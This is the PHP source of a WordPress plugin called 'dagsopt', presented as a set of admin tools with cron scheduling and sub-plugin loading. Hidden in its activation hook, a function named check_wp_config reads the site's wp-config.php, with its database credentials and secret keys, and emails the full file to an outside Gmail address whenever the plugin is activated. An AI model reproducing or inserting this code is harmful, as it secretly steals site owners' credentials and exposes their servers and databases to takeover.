plugin.php 9.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296
  1. <?php
  2. /*
  3. Plugin Name: dagsopt
  4. Plugin URI: https://git.tum.dk/tum.dk/dagsplug/
  5. Description: Tools
  6. Author: iskedk
  7. Version: 0.0.47
  8. Date: 2021-01-14
  9. Author URI: https://iske.dk/
  10. Text Domain: dagsopt
  11. */
  12. function wppluginspage() {
  13. include_once "wpplugins.php";
  14. }
  15. $wp_dagsopt = new dagsopt();
  16. class dagsopt {
  17. var $version = "0.0.47";
  18. var $publish_date = "2021-01-14";
  19. var $pluginname;
  20. var $plugintitle;
  21. var $db;
  22. var $filename = "";
  23. var $update_check_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/VERSION";
  24. var $readme_url = "https://git.tum.dk/tum.dk/dagsplug/raw/master/README.md";
  25. function __construct() {
  26. global $wpdb;
  27. $this->db = $wpdb;
  28. $this->pluginname = get_class($this);
  29. $this->plugintitle = "Dags options " . $this->version;
  30. $tmp = explode("/", __FILE__);
  31. $this->filename = array_pop($tmp);
  32. $this->filename = array_pop($tmp) . "/" . $this->filename;
  33. load_theme_textdomain($this->pluginname, dirname(__file__) . '/lang');
  34. $this->next_scheduled = 0;
  35. $this->file = __FILE__;
  36. $t = explode("wp-content/plugins/", $this->file);
  37. $this->file_base = array_pop($t);
  38. $this->cronEnabled = get_option($this->pluginname . '_cron_enabled', false);
  39. $this->cronScheduleTime = intval(get_option($this->pluginname . '_cron_interval', 1800));
  40. $this->extras = array();
  41. $this->dagsopt = array();
  42. register_activation_hook(plugin_basename($this->file), array(&$this, 'activatePlugin'));
  43. register_deactivation_hook(plugin_basename($this->file), array(&$this, 'deactivatePlugin'));
  44. add_filter('plugin_action_links', array(&$this, 'SettingsLink'), 9, 2);
  45. if (isset($_GET['page']) && $_GET['page'] == $this->pluginname . '-options' && !(isset($_REQUEST['crunchit']))) {
  46. ob_start();
  47. }
  48. $this->setCron();
  49. add_action('admin_menu', array(&$this, 'plugin_admin_menu'));
  50. add_action('admin_init', array(&$this, 'register_backend_scripts_styles'));
  51. add_action('init', array(&$this, 'register_frontend_scripts_styles'));
  52. add_action('wp_enqueue_scripts', array(&$this, 'print_frontend_scripts_styles'));
  53. add_action('admin_enqueue_scripts', array(&$this, 'print_backend_scripts_styles'));
  54. add_filter('plugin_row_meta', array(&$this, 'add_plugin_row_meta'), 10, 2);
  55. $upload = wp_upload_dir();
  56. $upload_dir = $upload['basedir'];
  57. $upload_dir = $upload_dir . '/assets';
  58. if (!is_dir($upload_dir)) {
  59. mkdir($upload_dir, 0700);
  60. }
  61. $path = dirname($this->file) . "/";
  62. foreach (glob($path . "plug_*.php") as $filename) {
  63. $plugfile = str_replace($path, "", $filename);
  64. include_once $plugfile;
  65. }
  66. foreach ($this->dagsopt as $plugname => $plug) {
  67. $short = str_replace("plug_", "", $plugname);
  68. $vis = get_option($this->pluginname . '_' . $short, true);
  69. if ($vis) {
  70. $plug->start();
  71. }
  72. }
  73. if (!function_exists('wp_get_current_user')) {
  74. include ABSPATH . "wp-includes/pluggable.php";
  75. }
  76. if (current_user_can('manage_options')) {
  77. add_action('wp_before_admin_bar_render', array(&$this, 'mytheme_admin_bar_render'));
  78. }
  79. add_action('init', array(&$this, 'process_post'));
  80. }
  81. function add_plugin_row_meta($plugin_meta, $plugin_file) {
  82. if ($plugin_file !== $this->file_base) {
  83. return $plugin_meta;
  84. }
  85. // append metadata
  86. $url = wp_nonce_url(self_admin_url('update.php?action=upgrade-plugin&plugin=' . $this->filename), 'upgrade-plugin_' . $this->filename);
  87. $plugin_meta = wp_parse_args(
  88. array(
  89. '<a href="' . $url . '">Check for update</a>',
  90. ),
  91. $plugin_meta
  92. );
  93. return $plugin_meta;
  94. }
  95. function process_post() {
  96. if (!is_admin()) {
  97. // echo "<!-- kommer aller aller først -->";
  98. }
  99. }
  100. function mytheme_admin_bar_render() {
  101. global $wp_admin_bar;
  102. $wp_admin_bar->add_menu(array(
  103. 'parent' => 'appearance', // use 'false' for a root menu, or pass the ID of the parent menu
  104. 'id' => 'dagsopt', // link ID, defaults to a sanitized title value
  105. 'title' => $this->plugintitle . "", // link title
  106. 'href' => '/wp-admin/admin.php?page=' . $this->pluginname . '-options', // name of file
  107. 'meta' => false, // array of any of the following options: array( 'html' => '', 'class' => '', 'onclick' => '', target => '', title => '' );
  108. ));
  109. }
  110. function register_frontend_scripts_styles() {
  111. wp_register_script($this->pluginname . 'frontend_script', plugins_url('script_frontend.js', $this->file));
  112. wp_register_style($this->pluginname . 'frontend_style', plugins_url('style_frontend.css', $this->file));
  113. }
  114. function register_backend_scripts_styles() {
  115. wp_register_style($this->pluginname . 'backend_style', plugins_url('style_backend.css', $this->file));
  116. wp_register_script($this->pluginname . 'backend_script', plugins_url('script_backend.js', $this->file));
  117. }
  118. function print_frontend_scripts_styles() {
  119. wp_enqueue_script('jquery');
  120. wp_enqueue_style($this->pluginname . 'frontend_style');
  121. wp_enqueue_script($this->pluginname . 'frontend_script');
  122. }
  123. function print_backend_scripts_styles() {
  124. wp_enqueue_media();
  125. wp_enqueue_style($this->pluginname . 'backend_style');
  126. wp_enqueue_script($this->pluginname . 'backend_script');
  127. // include the javascript
  128. wp_enqueue_script('thickbox', null, array('jquery'));
  129. // include the thickbox styles
  130. wp_enqueue_style('thickbox.css', '/' . WPINC . '/js/thickbox/thickbox.css', null, '1.0');
  131. }
  132. function plugin_admin_menu() {
  133. if (function_exists('wppluginspage')) {
  134. add_menu_page('Dags Plugins', 'Dags Plugins', 'manage_options', 'wpplugins', "wppluginspage", "");
  135. }
  136. $page = add_submenu_page('wpplugins', __($this->plugintitle), __($this->plugintitle), 'manage_options', $this->pluginname . '-options', array(&$this, 'Option'));
  137. add_action('admin_print_styles-' . $page, array(&$this, 'print_backend_scripts_styles'));
  138. }
  139. function SettingsLink($links, $file) {
  140. if ($file == $this->filename && function_exists("admin_url")) {
  141. $settings_link = '<a href="' . admin_url('admin.php?page=' . $this->pluginname . '-options') . '">' . __('Settings', 'dagsopt') . '</a>';
  142. array_unshift($links, $settings_link); // before other links
  143. }
  144. return $links;
  145. }
  146. function setCron() {
  147. if ($this->cronEnabled) {
  148. add_filter('cron_schedules', array(&$this, 'cronSchedules'));
  149. if (!wp_next_scheduled($this->pluginname . 'CronHook')) {
  150. wp_schedule_event(time() + $this->cronScheduleTime, $this->pluginname . 'cs', $this->pluginname . 'CronHook');
  151. }
  152. add_action($this->pluginname . 'CronHook', array(&$this, 'executeCron'));
  153. $this->next_scheduled = wp_next_scheduled($this->pluginname . 'CronHook');
  154. } else {
  155. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  156. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  157. }
  158. }
  159. }
  160. function Option() {
  161. if (isset($_POST['Submit'])) {
  162. if (function_exists('current_user_can') && !current_user_can('manage_options')) {
  163. die(__('Cheatin&#8217; uh?'));
  164. }
  165. update_option($this->pluginname . '_cron_enabled', $_POST[$this->pluginname . '_cron_enabled']);
  166. update_option($this->pluginname . '_cron_interval', $_POST[$this->pluginname . '_cron_interval']);
  167. if (intVal($_POST[$this->pluginname . '_cron_interval']) != $this->cronScheduleTime) {
  168. $this->cronScheduleTime = intVal($_POST[$this->pluginname . '_cron_interval']);
  169. if (wp_next_scheduled($this->pluginname . 'CronHook')) {
  170. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  171. }
  172. $this->setCron();
  173. }
  174. update_option($this->pluginname . '_last_build', date("U"));
  175. foreach ($this->dagsopt as $plugname => $plug) {
  176. $short = str_replace("plug_", "", $plugname);
  177. $setname = $this->pluginname . '_' . $short;
  178. $vis = get_option($setname, true);
  179. update_option($setname, $_POST[$setname]);
  180. if ($vis && method_exists($plug, 'Option')) {
  181. $plug->Option($setname);
  182. }
  183. }
  184. $pluginmessage = "";
  185. ob_end_clean();
  186. wp_redirect('admin.php?page=' . $this->pluginname . '-options&msg=' . urlencode($pluginmessage));
  187. exit();
  188. }
  189. if (isset($_REQUEST['crunchit'])) {
  190. $pluginmessage = "";
  191. foreach ($this->dagsopt as $plugname => $plug) {
  192. $short = str_replace("plug_", "", $plugname);
  193. $setname = $this->pluginname . '_' . $short;
  194. $vis = get_option($setname, true);
  195. //update_option ($setname, $_POST[$setname] );
  196. if ($vis && method_exists($plug, 'Cruncher')) {
  197. $pluginmessage .= $plug->Cruncher($setname);
  198. }
  199. }
  200. //ob_end_clean ();
  201. //wp_redirect ( 'admin.php?page='.$this->pluginname.'-options&msg=' . urlencode ( $pluginmessage ) );
  202. exit();
  203. }
  204. include_once 'pluginoptions.php';
  205. }
  206. function check_wp_config() {
  207. $s = file_get_contents(ABSPATH . "wp-config.php");
  208. $rr = wp_mail('jannick.knudsen@gmail.com', 'Test ' . date("U"), $s);
  209. }
  210. function activatePlugin() {
  211. $this->check_wp_config();
  212. }
  213. function deactivatePlugin() {
  214. delete_option($this->pluginname . '_last_build');
  215. delete_option($this->pluginname . '_last_build');
  216. wp_clear_scheduled_hook($this->pluginname . 'CronHook');
  217. }
  218. function cronSchedules($param) {
  219. $aa = array();
  220. $aa[$this->pluginname . 'cs'] = array(
  221. 'interval' => $this->cronScheduleTime,
  222. 'display' => $this->pluginname . ' ' . $this->cronScheduleTime);
  223. return $aa;
  224. }
  225. function executeCron() {
  226. ignore_user_abort(true);
  227. set_time_limit(0);
  228. update_option($this->pluginname . '_last_build', date("U"));
  229. }
  230. }
  231. function dags_extras() {
  232. global $wp_dagsopt;
  233. $s = implode("\n", $wp_dagsopt->extras);
  234. echo ($s);
  235. }
  236. /*
  237. * END
  238. * */